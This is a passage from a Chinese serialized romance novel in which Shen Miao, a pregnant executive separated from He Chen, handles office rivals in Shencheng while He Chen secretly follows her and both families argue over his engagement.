她过来后就蹲在商商身边,边逗弄小家伙,边与她们沟通。 “两位是来看月子中心还是选育儿嫂?” “看……” “选育儿嫂。” 沈渺先一步开口,打断商音的话。 她扫视了一圈大厅,一眼就看到了从电梯里出来的高夫人与一个看起来二十出头的女人。 女人大波浪小短裙,肚子高高隆起,看起来月份不小了。 应该是高家的儿媳妇。 “音音,你先看,我遇到熟人了,去打个招呼。” 沈渺给商音使眼色。 商音便知她怀孕的事情目前还未公开,应声后让前台带着她和商商去选月嫂。 沈渺朝高夫人她们走去,与此同时高夫人也已经看到她了。 “沈渺,这么巧,你这是……” 高夫人目光诧异。 “陪朋友过来选月嫂。” 沈渺朝高夫人颔首一笑,“高太太,又见面了。” 高夫人跟着笑起来,“我说你这么年轻,还没结婚吧?不应该来这种地方呢。” 说着,她将身边大着肚子的女人往身边拉了拉,“这是我儿媳妇,吴玥珊。” “你好,沈渺。” 沈渺朝吴玥珊颔首,主动打招呼。 吴玥珊打量着她,语气带着很浓的抗拒。 “沈渺,百荣集团贺总的秘书,早有耳闻,今天一见果然名不虚传。” 高夫人一瞬察觉到吴玥珊的异样,轻轻碰了下吴玥珊的胳膊。 “你看,连珊珊这个家庭主妇都听说过你,可见你在商圈是真出名。” 她打着马虎眼,试图将吴玥珊带来的微妙不悦散去。 沈渺确定自己是第一次见吴玥珊。 清晰地感受到吴玥珊的恶意后,她顺着高夫人给的台阶下去。 “过奖了,还是那句话,跟对了人,多亏了贺总提拔。” 她看了眼腕表,又说,“时间不早了,不打扰高太太,我送您出去。” 高太太颔首,往外走着与她说,“网上的新闻我看到了,你别放在心上,媒体记者瞎写。” “当然不会,媒体什么德行的,我也清楚。” 沈渺送高夫人到外面,不等说告辞的话,吴玥珊已经上了车,并且将车门摔得震天响。 高夫人不由得拧起眉,隔着车窗看了里面一眼。 然后回过头来,朝沈渺扯着笑容。 “孕妇情绪不稳定,你多多理解。” 虽然不算特别熟。 可吴玥珊无缘无故甩脸子,实在有失礼数。 “理解,高太太不用放在心上。” 沈渺说完,目光落在高夫人颈间一条翠绿的玉石项链上。 “您的项链很漂亮。” 高夫人摸了摸那条项链,“这是玉松石的,上个月出国刚买的,你也觉得漂亮?我们的眼光真一致,同批还有一个手链,你要是不介意我让人给你送到公司。” 166.离婚是她提的? 玉松石,价值不菲。 哪怕是一条项链,最低也要六位数。 沈渺跟高太太的关系没好到可以收对方这么贵重礼物的地步。 但她说,“那就谢谢高太太了。” “不用客气。”高夫人明白她的意图。 沈渺目送高夫人上车后,转身回了月子中心。 这家月子中心是深城顶尖级别,最低收费标准是十万起步的。 沈渺根本没打算看,进去后就只跟着商音看了育儿嫂。 商音挺喜欢一个金牌育儿嫂的,但她肉疼的是对方月薪三万。 “京北那个才两万。” “贵有贵的道理,既然喜欢就先试用一段时间。” 沈渺看过对方的履历,经验丰富而且受到每一任雇主的好评。 好的育儿嫂千金难求,凭着商音的能力,她请得起。 只不过如今手头不宽裕,商音舍不得。 趁着商音犹豫,沈渺拿出卡,直接定了育儿嫂,将试用期的费用交了。 商音反应过来,又感动又心疼。 “未来你需要钱的地方很多,省着点花啊。” “钱没了还能赚,不能委屈了商商。” 沈渺把票据塞她手里,“只是育儿嫂若来了,我那儿就住不下了,还得再做安排。” 公司给她的复式是两居室,总不能让育儿嫂打地铺。 商音立马说,“我昨天看到对面的公寓出租,我搬过去吧,这样不光有了住的地方,还能腾出直播的场地。” 育儿嫂找到,她就得复工开播赚钱了。 “行,那我们回去看看。” 两人办好育儿嫂的手续,带着商商回到车上。 商音才冷不丁想起来,“还没咨询月子呢?” “不问了。”沈渺发动引擎,踩下油门,“这里太贵了,不是我们能负担起的,换个地方。” “那你带我来这儿干什么?” 商音起初选月子中心时,就对这地方很动心。 只是这里收费太高了,所以不在她首选之内。 她打算看看其他地方,若实在没有合适的,再咬咬牙让沈渺来这儿。 “处理一些私事,现在都解决了。” 商音想到什么似的说,“刚刚那个人,就是新闻上报道的高太太?” 沈渺点头,解释了两句,两人又去了其他月子中心。 临近中午,沈渺接到了李白恬的电话。 “沈总,前台说高太太让人送过来一个手链,说是给您的。” “让前台拍张照片发给我。” 沈渺没想到,高夫人这么快就把东西送过来了。 “把东西放好,明天我去公司时交给我,另外你去选一件等值的东西,送到高家去。” 李白恬‘啊’了一声,“可我这里没那么多钱。” 沈渺,“你去选,多少钱我转给你。” 她也没钱,但是来深城时,贺忱给了她一张黑卡。 上流圈子需要打点的地方多,除了正常的商业交流,人情往来是必须的。 她可以随意支配卡里的钱,只要开具发票证明用处就可以。 没几分钟,沈渺收到了手链的照片。 她将照片存下,没有立刻发出去。 李白恬联系的是她在京北时的号码。 她来到深城办了个工作号,此时工作号已经被打爆了。 周敬才的消息和电话最多,问她去了哪里,全公司都在等着她开会。 所谓的等着开会,就是等着讨伐她呢。 沈渺没回。 她点开了韩文松发来的无数消息,最后一条是:【沈总,逃避是没有用的,贺总怎么会派你这样的懦夫来接手分部!】 沈渺依旧没回,手机继续静音,丢回包里。 她带着商音租下了对面的公寓,将商音跟商商的东西搬过去。 一通折腾,天已经黑了。 两套房子隔着一条路。 商音抱着商商在门口的台阶上坐下,等着沈渺把商商的奶瓶拿过来。 “突然发现,有个男人也挺好的。” 商音扯着嗓子,隔着马路跟沈渺喊,“咱俩谁有个老公,这时候都能把他拉过来当苦力。” 沈渺拿着奶瓶出来,关上门往她这边走。 “那你还不找一个。” 商音冷嘁一声,“我要想找,挥挥手大把大把的来。不给我们干活给钱也行,就像贺忱,你不离婚也挺好的,至少吃喝玩乐都不愁,遇到这种事情他不给你搬家,但出钱找人给你搬,也一样。” 沈渺走到她家门口,看着坐在几层台阶上的她,脚步顿住。 商音的想法多变,一会儿说没感情的男人,钱再多也不要。 这会儿轮上事,又觉得只要有钱就行。 她只是说说,真正滋味沈渺是设身处地感受过的。 沈渺沉吟片刻道,“没有感情的婚姻,继续下去也是耗着,早散早好,两不耽误,我从来不后悔跟他提离婚。” 主要是,她别耽误贺忱另娶的路。 “瞧我,又把话题扯到这上面来了。” 商音轻拍了下自己的头,“你说得对,别人眼里他再好,你也不要,有的是男人等着你呢……” 她起身,朝沈渺招招手。 沈渺继续向前,把奶瓶交到她手里。 两人一前一后进入公寓内。 公寓外的道路上种了两排广玉兰。 茂密而葱绿的树枝遮挡着路灯的光亮,阴影处,一抹身形站在那里。 她们彻底进入公寓后,贺忱从树荫下走出。 那张轮廓分明的面容阴郁不定,他凝了眼公寓方向,眼底一片深沉。 没有感情的婚姻,继续下去也是耗着。 早散早好,两不耽误。 这就是她离婚的原因,没有感情。 贺忱薄唇抿成一条直线,他面容被公寓亮起的一簇灯光照亮,眸色比夜晚的天空还要暗。 “离婚是她提的?” 暗处,秦川身形微动,他语气诧异。 贺忱眉骨一拢,转过身从兜里掏出烟,点了根挂在嘴上。 “在你没有老实交代之前,少说废话。” 他转身往公寓群外走。 秦川拉着两个行李箱,跟上他,一言不发。 一路上,贺忱理都不理他。 落地深城,直奔沈渺这儿。 他觉得贺忱来深城是带着满腔热血的。 现在,一下子全被浇灭了。 走在前面的贺忱手机响起,是林昭打来的。 “贺总,程家那边对您去深城非常不满,程家夫妇到贺家去要说法了。” 贺忱,“你给程青良打电话,把约好的几个医生联系方式给他,让他看着办,盯紧了程家。” 167.这门婚事不要也罢! “这——” 林昭很为难,“这是您的家事,我插手会不会不方便?” 贺忱的意思,可以由贺家转达。 他一个下属,在贺家人面前,去传达贺忱的意思,实在—— “让你去你就去。”贺忱薄唇轻启,“他不会为难你。” 林昭只能听命,挂了电话。 贺忱将手机揣回兜里,想起什么似的,停下来回头看着秦川。 秦川一手拖一个行李箱,跟着他。 “把你的手机给我。” 贺忱话音刚落地,秦川就把行李箱放下,从口袋掏出手机,递过去。 他接过手机,把卡拔出来丢掉,装了一张新的卡进去。 “这上面有我的号码,有事打给我,现在滚,别出现在我眼前。” 他将手机还给秦川,拿过自己行李箱,阔步离开。 霓虹灯照亮半座城市,空旷的马路上。 一簇簇的光照下来,男人身影被拉得老长。 秦川看着他的背影,好一会儿转身朝另外一个方向走去。 —— 京北,贺家。 “黎艳,唯怡跟贺忱的婚事,是我们程家高攀了,可是贺忱也太不把她当回事了!” 孙易琴搂着眼眶通红的程唯怡,心疼不已,她豁出去跟明黎艳这么多年的友情,也要要个说法。 “都说男人婚前婚后两个样,我理解,贺忱工作忙我没指望他能哄唯怡一辈子,可这婚还没结,他们在一起满打满算还不到一年,贺忱就这样,我怎么放心把唯怡交给他?” 明黎艳的脸色不好看。 一是孙易琴是她多年好友,找上门要说法,让她在贺家人面前下不来台。 毕竟,她是极力撮合这门婚事的。 二是贺忱竟然去了深城,而沈渺就在深城。 没有人摸透贺忱到底去干什么。 “分部刚刚建立,人心不稳,韩家虎视眈眈,贺忱一定是为工作才——” 不等明黎艳的话说完。 孙易琴打断道,“非要把话说这么明白吗?沈渺在深城,她的出身背景,哪一样配得上分部掌事人的位置?贺忱是想金屋藏娇,他就是对唯怡变心了!” “孙易琴,你别胡说八道!” 明黎艳容不得有人说贺忱半个破字。 她站起来,气势一瞬间上来了。 “刚开始他们在一起时,贺忱没哄她吗?吵个架都闹得满城风雨,是她不知好歹,还要动沈渺,这才惹急了贺忱,贺忱惜才,沈渺除了出身不行,能力在男人中都数一数二,换我我也想把人留住,有什么错?” 孙易琴哑口无言。 明黎艳满腔的不满和怒火,轰得程唯怡脸色涨红,羞耻不已。 “伯母,我知道我做得不好,可我想任何一个女人,都做不到眼睁睁看着未婚夫跟前妻出双入对,我是做了很多不好的事情,让贺忱哥失去了哄我的耐心,可如果他一开始就离沈渺远远的,怎么会有这么多事情呢?” 她哭得梨花带雨,眼泪婆娑成了泪人。 孙易琴心疼地搂着她,“我的女儿啊,明黎艳你也是看着她长大的,可你到底还是护自己的孩子,如果是这样,这门婚事不要也罢!” 她话音落地,程唯怡立马朝她猛摇头。 她做这么多,不就是为了嫁给贺忱吗? 怎么能取消呢! 孙易琴借着搂她的姿势,把她的动作给挡住。 “胡闹!” 明黎艳气狠了,“我们贺家娶什么样的儿媳妇娶不到?怎么到了你们程家这里,闹得一出又一出,婚事人尽皆知,现在告诉我不结了?孙易琴,你好好找找程唯怡的毛病,少拿这个来拿捏我!” 贺懿被她一嗓门吓得一激灵,往贺老夫人身边靠了靠。 贺老夫人闭上眼睛,不知是眼不见为净,还是不忍直视这翻脸的场面。 “一门婚事闹成这样,让人看笑话,这事双方都有错,你们程家若是咽不下这口气,这个婚不结也罢。” 贺岭山黑着脸,发表了自己的意见后,起身上楼。 他的离席,让气氛陷入僵境。 孙易琴了解明黎艳,能拿捏住明黎艳却忘了还有个贺岭山。 她一下噤声,面色悻悻。 “老爷子,老夫人,又让你们跟着操心了。” 程青良站起来,朝着二老微微颔首。 “婚事结好了是喜事,结不好就是仇人,唯怡跟贺忱之间没有问题,唯一的隔阂就是沈渺,今天上门是我们冒失了,我代表程家和唯怡,向你们道歉。” 说完,他又看向明黎艳。 “他们的婚事,确实给贺家带来不少麻烦,现在取消婚礼更让人看笑话,不如各退一步,贺忱去深城的事情我们不追究了,你让他尽快回来,并且开除沈渺,这样行不行?” 明黎艳图快刀斩乱麻。 直觉告诉她,贺忱去深城就是为了沈渺。 只要没了沈渺,一切风平浪静。 她正欲答应时—— 却听贺老爷子沉声道,“这叫各退一步吗?这是我们贺家退两步,让贺忱回来还得开除沈渺,他若不是冲着工作去的倒好说了,万一真冲着工作去,岂不是要因为程家,连工作都不顾了?” 霎时,程青良脸色一阵青白。 客厅一片死寂,只有程唯怡的抽泣声。 “小懿,给你哥打电话。” 贺老爷子开了口。 无论如何,事情总要解决。 但只有贺忱一人能解决。 贺懿立马拨通贺忱的电话。 电话响了几声,被接起,她赶紧把手机给了贺老爷子。 程家几人,纷纷朝这边看过来。 但贺老爷子却是起身,去了阳台上跟贺忱通话。 门铃响起,下人去开门,很快又折回来。 “夫人,是林助理来了。” 明黎艳蹙眉,“让他进来。” 林昭走进来,挨个与贺家几位打招呼。 然后才看向程家人。 “程先生,贺总让我单独转告您两句话。” 虽说林昭只是贺忱的助理。 可是程青良从来不敢轻视,他只是疑惑,“什么事情,还要单独说?” “有什么话不能在这里说!” 明黎艳不满道,“你可真是贺忱的一把好手,这种事情也要你插手,连我们家里人都摸不透他要干什么!” 林昭背脊僵着,解释道,“明董,这……是贺总的意思。” “在这儿说!”明黎艳怒意更浓了。 168.我要妈妈,我要妈妈! 那端,程唯怡跟孙易琴眼神交流着。 很快孙易琴就站起来了,“既然贺忱是有话要单独说,那就让他们去谈,我跟你聊两句。” 她走到明黎艳身边,推搡着明黎艳在沙发上坐下。 明黎艳甩开她的手,“我们该聊的刚刚不是都聊完了?” “别生气,我刚刚说话冲动了,不能因为他们年轻人坏了我们的关系,你说你好歹除了贺忱还有贺懿,我就唯怡这么一个女儿,我心疼,你别生我……” 孙易琴又开始说好话。 那端,程青良跟着林昭离开客厅。 他将贺忱的话如实转告,又给了程青良几张名片。 “什么意思?”程青良不明白。 “程先生,您若是不明白,可以去问问程小姐。” 林昭毕恭毕敬的,“贺总说,等您跟程小姐沟通完,如果还不明白什么意思,他会跟您解释。” 程青良皱起眉头。 “另外,贺总还让我转达一句,贺家没有人能做得了他的主,程家对这门婚事,对他有任何的不满,可以直接找他,找不到他的可以来找我,我帮您转达。” 林昭跟了贺忱很久,身上有几分贺忱的影子。 程青良犹豫了几秒,就回去,带着程家母女走了。 彼时,孙易琴已经跟明黎艳服了软。 明黎艳虽然还在生气,但没再说难听的话,就是给孙易琴面子了。 她拦住了想离开的林昭,“贺忱让你跟程家说什么?” “明董,贺总说让您不用操心他的事情。” 林昭欲言又止,余下的话不知该不该说。 明黎艳一眼看出他还没说完,“你继续说!” “我……”林昭一咬牙,一跺脚,一口气说,“贺总说操心多了容易长皱纹,让您以后少管他的事情!” 不用操心,是林昭再三斟酌之后的客气话。 他本来想委婉客气的转达,可架不住明黎艳的眼睛太毒,看出他还没说完。 明黎艳愣在原地。 林昭趁此机会跑了。 此时,程家车上。 程青良把几张名片放在程唯怡面前。 “贺忱这是什么意思?” 程唯怡心提到嗓子眼,她求助的目光看向程青良。 “你问我,我们哪里知道?”孙易琴把程唯怡护在后面,“我看贺忱就是想悔婚,我可告诉你,必须向着自己的女儿!” 程青良,“你们是不是有事情瞒着我?” 孙易琴,“没有!” 她否认得干脆利落,利落到程唯怡的心里发虚。 “我不管你们两个搞什么,这门婚事必须成,不然贺家丢的只是面子,地位不会有任何动摇,我们程家就里子面子都丢了,而且唯怡以后很难再找到合适的人结婚!” 程青良口中‘合适的人’指的是比程家家世好的。 京北有的是比程家好的,但他们都将会介意程唯怡这段人尽皆知的‘感情’。 程唯怡心里发慌,却仍旧不敢跟程青良说。 孙易琴拍着她手背,给她加油打气,“无论如何,这个婚一定要结,听话,妈给你想办法……” 程青良管不住这母女两个,他的目的只有一个,这门婚事必须成。 反正目标一致,他索性不管不问了。 贺老爷子跟贺忱聊了几句,跟程家的婚事全都由贺忱自己做主。 他回到室内,将电话还给贺懿。 “贺忱的事情,谁都不许再管了,让他自己处理。” 老爷子发了话,明黎艳想给贺忱打电话好好质问一番的念头,打消了。 —— 深城。 育儿嫂明天才过来,当天晚上商音带着商商,又回了沈渺那儿睡。 快凌晨时,商音的声音在楼上传来。 “渺儿,你翻来覆去的干什么呢?” 沈渺刻意放轻的呼吸声逐渐恢复正常。 她坐起来,借着月光看向楼上。 “心里有些莫名不安。” “有啥不安的?”商音借着栏杆站起来,光脚下楼,直接爬上沈渺的床。 “咱们都离开京北了,而且怀孕的事儿反正已经露馅了,贺忱也没发现不对,还有啥可怕的?” 沈渺靠在床头,细眉拧成一团。 她说不上哪里不安,就像空气渐渐稀薄,慢慢令人窒息一样的不安。 “躺下,我陪你。” 商音拍拍她枕头,“你说生了孩子需要照顾情绪,其实孕期的情绪也要注意,你马上孕晚期,孕激素不稳定,情绪就会低落,没事都有我呢。” 沈渺躺下来,任由商音在她耳朵旁边叨叨。 “我计划好了,明天育儿嫂来了,我就开始整顿复播的事情,先把直播间装扮好,再重新买套装备……” “还有啊,拿给你营养餐做的号涨分特别快,发商商也涨分,等你生了我再起个号……” 不知不觉,在她的碎碎念中,沈渺睡着了。 她做了一个梦,梦见孩子出生了,是个女孩。 她和商音带着两个孩子生活在一起,生活简单幸福。 眨眼孩子就五六岁了,有一天女儿突然不见了。 她找遍家里每个角落都没有。 窗外传来孩子的哭声,她透过窗户看到孩子被贺忱抱着上了一辆车。 沈渺狂追出去,跑掉了一只鞋,跌倒在地上,膝盖磕地流血不止,钻心的疼。 可更让她疼的是女儿那一声声‘我要妈妈,我要妈妈……’ “不要,不要!贺忱!” 沈渺猛地坐起来,额头渗着细汗,她大口大口地喘息。 清晨的阳光透过窗帘缝隙洒进来,半开的窗户传来远处杂乱的声音。 她渐渐回神,双手下意识覆上小腹。 许是察觉到她的不安,肚子里的小家伙狠狠踹了她两脚。 她这才意识到,是一场梦。 一旁,商音将头蒙在被子里,睡的正香。 沈渺缓了缓,起身下床洗漱。 片刻,她整顿好给商音留了早餐,开车去公司。 出发之前,她将一张照片发到社交账号上,当众感谢高夫人赠与的手链。 半小时后,沈渺抵达公司。 周敬才跟李白恬在停车场的电梯门口等着她。 见她来了,两人一同跑过来。 李白恬还有意无意地把周敬才挤到一边去。 周敬才被她挤得踉跄,撞了墙。 李白恬先一步跑到沈渺身边,汇报最新‘战况’。 “糟糕了,他们把韩董的儿子请过来了,大家都在会议室等你呢,沈总,怎么办?这次咱们凶多吉少了!” 169.昨天没报平安 “怕什么,兵来将挡,水来土掩。” 沈渺给李白恬一个安心的眼神。 那端,周敬才扶着腰过来,瞪了李白恬一眼。 “沈总,韩经理跟韩少都等着您呢。” 他的语气算不上差,但这话就是妥妥传话的狗腿子。 李白恬翻了个白眼。 几天的相处,她对周敬才初见的钟情,已经快耗没了。 “我已经跟沈总说了,你靠边站,别挡路。” 她又推了周敬才一把。 周敬才挺直腰板站在原地没动。 李白恬抬脚,就朝他脚背上狠狠踩了一下。 “嗷——” 周敬才疼得抱脚跳,“你们南方女人又粗鲁又蛮横!” 李白恬护着沈渺进入公司。 彼时,整个公司人心惶惶。 昨天高层们齐聚一堂,等着讨伐沈渺。 结果沈渺溜了,一群人大眼瞪小眼,被空气打了脸。 神仙打架小兵遭殃,每个高层都有气没地出,员工成了出气筒。 以至于,员工们人心惶惶。 见了沈渺,他们都不知道该不该打招呼了。 沈渺目不斜视地进电梯,到了顶层后她走出电梯,径直朝自己办公室走。 却在办公室门口,被韩文松给拦下来了。 “沈总,高层们等着您开会呢,韩少也来了。” 他伸出手,拦着沈渺的去路,将办公室的门挡得死死的。 沈渺停下来,眉头微拧。 “我以为,沈总今天还回不来公司呢。” 韩文松继而阴阳了句,“沈总,逃避是解决不了问题的,你坐到今天这个位置上,不会不懂吧。” 沈渺冷漠地看向他。 “懂,既然各部门高层这么想见我,那我就去看看。” 她将包交给李白恬,“你让秘书办的人准备些茶水,送到会议室,免得大家口渴。” 李白恬目光担忧,“沈总……” “去就行。”沈渺唇瓣轻启,吐出三个字,去了会议室。 偌大的会议室,人满为患。 各部门高层分别坐在两端,韩董的儿子韩城光坐在尾端正中央的位置。 韩城光三十岁出头,在商圈算得上年轻有为。 若不是长得实在太丑,这个年纪应该孩子都会打酱油了。 结果他连老婆都还没娶。 “沈总,这位是韩少爷。”韩文松介绍着。 沈渺在顶端的椅子上坐下,双腿叠放腰板挺直。 隔着长长的桌子,她与韩城光对视了几秒。 就听韩文松又说了一遍,“韩少爷是韩董的儿子。” 这是让沈渺先开口,主动跟韩城光打招呼。 “我们见过。” 沈渺收回看韩城光的目光,看向韩文松道,“他不光是韩董的儿子,还是你的堂弟。” 韩文松眉头一拧,“沈总,你这什么意思?” “我的意思是,韩先生是韩经理的堂弟,韩董的儿子,我理应打招呼,可这里是公司,我们在解决内部的问题,不方便招待。” 沈渺话落,刚好周敬才推门进来。 她直接吩咐道,“周助理,请韩先生出去,好好招待。” “啊?”周敬才眼珠子提溜转,CPU都快烧了,恨不得退回几秒钟前,他就不该推这个门进来。 他看了眼韩文松。 韩文松则看向韩城光。 韩城光五官各长各的,丑到不忍直视的脸渐渐扭曲。 “沈渺,你不过是贺忱身边的一条狗——” “韩先生,现在我请你离开,你要不知好歹,我就叫保安了。” 沈渺这话一出,安保部的部长将头低得死死的。 韩文松冷笑一声,“沈总好大的威风,你给公司带来了这么大的麻烦,还不让人管了?别以为有贺总护着你就能无法无天,韩董特意让韩少爷来盯着的!” “百荣改姓韩了吗?”沈渺反问,“韩少爷若真是韩董派过来的,那韩董就是绕过贺总执权,等我给贺总打个电话问问。” 沈渺拿过手机,便要拨电话。 韩城光虽然是韩董的儿子,在商圈跺跺脚也能抖半抖。 可如今贺忱跟韩董的关系形同水火。 沈渺不能给韩家一点面子,给了就等于给贺忱丢人。 “你少拿贺忱来压我!” 韩城光豁然起身,“今天就是他坐在这里,也不会把我赶出去!” 贺忱还真不会,但他一定会纵容沈渺赶人,还要在背地里给她竖大拇指。 跟了贺忱这么久,这方面她还是很了解的。 “韩先生误会了,我先请你出去,你不走我没办法了才换个方式让你走。” 沈渺微微抬了下头,“时间不多,韩先生自重。” 韩城光来势汹汹,颇有今天就把沈渺拉下台的意思。 但满腔计划,一瞬间被沈渺瓦解,天崩开局。 他气得甩手就走。 韩文松送他到门口,他好一番交代才不甘心地离开。 会议室门关上,室内落针可闻。 韩文松在沈渺右手边的位置坐下。 他率先发难。 “沈总,你刚上任就给公司带来这么大的舆论麻烦,不打算给我们一个交代吗?” 沈渺沉默,她面色淡然,目光在众人脸上慢悠悠地扫着。 不知为何,她的眼神所到之处,都令高层们不敢直视,下意识地低头。 “韩经理别停,继续说。” 她目光扫了眼韩文松,“你把所有想指责,该说的话都说了,我统一回答。” 没料到她这个态度,韩文松一时说不上话,“你——” 他还没说什么,沈渺的手机响了一声。 是贺忱发来的消息。 【昨天没报平安。】 昨天虽然没上班,却比上班还累。 躺下后她翻来覆去地睡不着,但早就把报平安这茬给忘了。 沈渺指尖在屏幕上飞跃,快速打出两个字发过去。 【安全。】 “沈总,你这是什么态度?我们在跟你说事情,你还玩手机。” 韩文松逮住机会指责。 沈渺把手机放下,“你这是什么态度?不知道的还以为你是我的上司。” “我知道你是我们的上司,可分部刚成立本就不稳,大家能不能坐稳当下的位置还两说呢,你惹了祸让总部不满,总部要算账不还得下面人给你顶罪?你不该给我们一个交代吗?” 韩文松振振有词。 他这番话,早就经过了多人的打磨,滴水不漏不给沈渺反转的余地。 170.沈秘书,贺总在吗? “我这么过分,你们可以联手越级向总部汇报,把我换掉。” 沈渺不急不缓地说,“分部的规章制度是经我手立起来的,员工可以联名状越级报告,发林助的邮箱就可以,你们每个人都在报告上签字摁手印就是有效的。” 说着,她拿过手机,将林昭的邮箱发到了工作群里。 “邮箱在这里,去吧。” 韩文松:“……” 众人大气都不敢喘。 “如果不去,就听我说两句。” 沈渺站起来,双手撑在桌子上。 “抱歉因为我个人的原因,给公司带来了负面舆论,我已经跟贺总汇报过,进行反思认错了,而且也想到了办法及时做出了补救措施……” 比起韩文松提前润色过许多遍的刁难话。 沈渺字字句句掷地有声,没有过多的语言描述,只是将她做的事情说出来。 行动永远比只靠嘴更能征服人。 她刚说完,手机就响了一声。 是财经新闻弹出的词条。 沈渺公众账号发的那条消息,被媒体截图发出来,以此证明她和高夫人的关系很好。 昨天的荒谬新闻不攻自破。 一群人的刻意刁难,在沈渺轻飘飘的几句话面前,显得用力过猛。 韩文松被架在上面下不来,脸色涨青又发白。 “不过韩经理说得对,这件事情不能就这么算了,我给大家带来的麻烦我认,但由此我也发现了你们的不足。” 沈渺话锋一转,瞬间占了上位。 角落里,周敬才掏出手机,点开一个头像,静音发出一通视频通话,将画面直播出去。 他拍的是沈渺的背影,宽松的衣服看不出她怀孕,身形依旧显得很细。 那端的人很配合,不出任何声音。 “公关部没有处理突发状况的能力,是公关部经理的失职,等会儿你去人事部办离职手续。” 沈渺蓦地觉得背后有道目光在看着她。 比眼前这些虎视眈眈的目光,存在感更强。 她回头看了一眼。 角落里,只有周敬才站在那里。 她拢了拢眉,“让你去安排韩少爷,你还在这里干什么?” 周敬才忙不迭解释,“韩少爷走了。” 闻言,沈渺又将目光移开。 “沈总,公关部经理是老员工……” “分部刚成立不到一年,老字从何而来?” 沈渺打断韩文松的话,“你们若是有异议,可以越级向总部报告,散会。” 她拿着手机转身就走。 “不是,沈总……” “沈总,我在公司这一年没有功劳也有苦劳,你不能就这么开除我!” “不管她,赵娜你别盖章,我看她能开得了谁……” 最后那句话,是韩文松说的。 赵娜始终没吭声。 沈渺将他们的议论纷纷抛之脑后。 她回到办公室,埋头干自己的事情。 而彼时楼下。 高耸入云的大厦下,车水马龙的街头,布加迪停在路口,十分显眼。 半落的车窗露出贺忱棱角分明的面容。 他低头看着手机,不知看了多久,才将目光移开。 贺忱的视线落在顶层,微眯起的长眸中,带着一丝笑意。 “来了又不上去,那你来干什么。” 后座,秦川施施然地说。 贺忱,“没必要了。” 他面色突然一绷,拧起眉透过后视镜看去,“滚下去,在深城自生自灭。” “你一分钱都没给我留,我饿了两顿,昨晚睡的银行自动取款厅。” 要不是撑不下去,秦川不会来找他。 贺忱冷着一张脸,“饿死你算了。” “也行,替秦家那些人除‘害’了,希望你能念及我曾经的救命之恩,找块好墓地把我埋了。” 秦川一脸释然的模样。 贺忱目光渐渐变得锐利,“少拿救命之恩来威胁我,再来一次不用你们两个救。” 没人知道,当初不是程唯怡一个人救的贺忱,还有秦川。 这件事情保密,是秦川主动要求的。 他不想让秦家再因为他和贺忱的关系,对他假意示好。 干脆就让秦家放弃他,没有往来。 “我看,你是不想让她再救你。” 秦川意味深长地说,“贺忱,没想到你也有做错决定的时候,现在后悔还来得及。” 贺忱眯了眯眼睛,下颚线条清晰紧绷。 良久,他岔开话题,“我给你转账,下去。” “成。” 秦川推开门下车。 事情走到这一步,已经不单单是贺忱一个人的事情,而是贺家跟程家的事情。 他在驾驶位停了下,又说了句,“程家那几个,都不是好东西,确实该小心一些。” 贺忱将车窗升起,并未回应秦川的话。 布加迪在原地停了近半个小时,才开走。 彼时,李白恬正在沈渺办公室,竖着大拇指一顿猛夸。 “沈总,你可真厉害,我刚刚看到韩经理脸比锅底还黑,还有韩董的儿子,他走的时候像牛魔王,又丑又气……” 第一战打响,首战告捷,撕破脸后接踵而来的麻烦会一次比一次严重。 但看到李白恬高兴成这样,沈渺忍不住轻笑。 “你以后多盯着点周敬才。” “你找个理由把周敬才换了多好!” 李白恬觉得,沈渺都能把公关部经理给拿了,对付周敬才不是轻而易举吗? 沈渺,“明面上的危险,好过暗算。” “那行,周敬才就交给我了。” 李白恬拍着胸脯保证。 下午,赵娜来找沈渺,为开除公关部经理的事情。 “他有多年的工作经验,是我花重金挖过来的,开除对我们没有好处。” “也就是说,你还是要跟着韩文松。” 沈渺一语戳中重点。 赵娜喉咙一紧,好一会儿才说,“你们我谁都不想得罪!可不给谁办事都没好下场,我看我迟早要被你们逼走!” “早站队早好,你现在选我,我能在贺总面前保你坐稳人事部部长的位置,韩文松动不了你。” 沈渺眉梢轻挑了下。 这已经不是在暗示赵娜,现在归顺她是最好的时机。 而是明示。 赵娜却依旧没吭声。 沈渺的手机响了,是林昭。 “出去,明天一早给我答复。” 她脸色沉下来,不再跟赵娜多言。 赵娜的欲言又止,被持续响的铃声打断,她只能离开。 沈渺滑动屏幕,接起林昭的电话。 “沈秘书,贺总在吗?我这儿有急事联系不上他了!” 林昭焦急的声音传来。 171.贺忱怕你一个人在深城挨欺负 “贺总?”沈渺疑惑又诧异,“他不是在京北吗?他不在公司吗?” 林昭,“啊?他不是去……” 不是去深城了吗。 后面的话还未说完,贺忱的电话就拨进来了。 “贺总给我回电话了,我先挂了,沈秘书!” 林昭直接挂了电话。 这端,沈渺对着挂断的电话晃神。 林昭找贺忱,在情理之中。 可给她打电话找人,就不应该了。 她可不在京北啊。 沈渺轻抿着唇,眉宇处凝着的疑惑久久散不去。 今晚商音打算在新租的房子里睡,但还缺个人物品。 下午工作不忙,她踩着点下班,一起顾逛商场采购。 “这个育儿嫂不白贵,把商商哄的根本不想找我,她做饭那会儿我带着商商,商商还总往厨房看呢。” 商音推着婴儿车,一个劲儿地夸育儿嫂好。 沈渺一边选她要的东西,一边回应,“那就行,你先休息两天,再复工。” “你说,他以后会不会跟我不亲,把育儿嫂当妈了啊?” 商音脸都皱成包子。 沈渺:“……” “找个不好的,你各种不满,太好的又怕孩子将来跟你不亲了,你矛盾不矛盾?” 商音哂笑,“是我多变了,反正我以后抽出时间来一定多陪陪他。” “未来几天,我工作可能会很忙,或许晚上也要加班,你们晚餐不用等我。” 沈渺拿公关部经理开刀,下一步就要拿回总经理的权利。 真正身在其职的工作,她会忙得脚不沾地。 尤其还有韩文松他们搞小动作。 “我到时候把晚餐给你送过去,你回家热一热吃,还有汤,你可要注意身体。” 商音看了看她肚子,“还是小了点,谁家好人怀孕五六个月,还显不出来啊?” 沈渺沉一口气,摸了摸肚子。 “我吃得真不少,让你说的我都觉得对不起孩子。” 她已经尽力多吃了,但天生不胖的体质,让她四肢纤细。 该说不说,肚子也确实不大,去产检勉强达标。 虽然是达标了,可挂上勉强两个字—— “补,以后晚上回家,把我给你送过去的东西都吃完。” 商音发号施令。 沈渺轻笑,给商商选了个扭扭乐的小玩具。 两个又去超市采购食材,把商音家里的冰箱都填满了。 当晚,沈渺快十点才回住处,洗漱上床。 睡前,她给贺忱打电话报平安。 孰料,电话响到自动挂断,都没有人接。 沈渺没再打第二遍,改为发消息。 昨晚没睡好的缘故,她困得要命,躺下没多会儿就睡着了。 睡得正熟时,手机铃声突然响起。 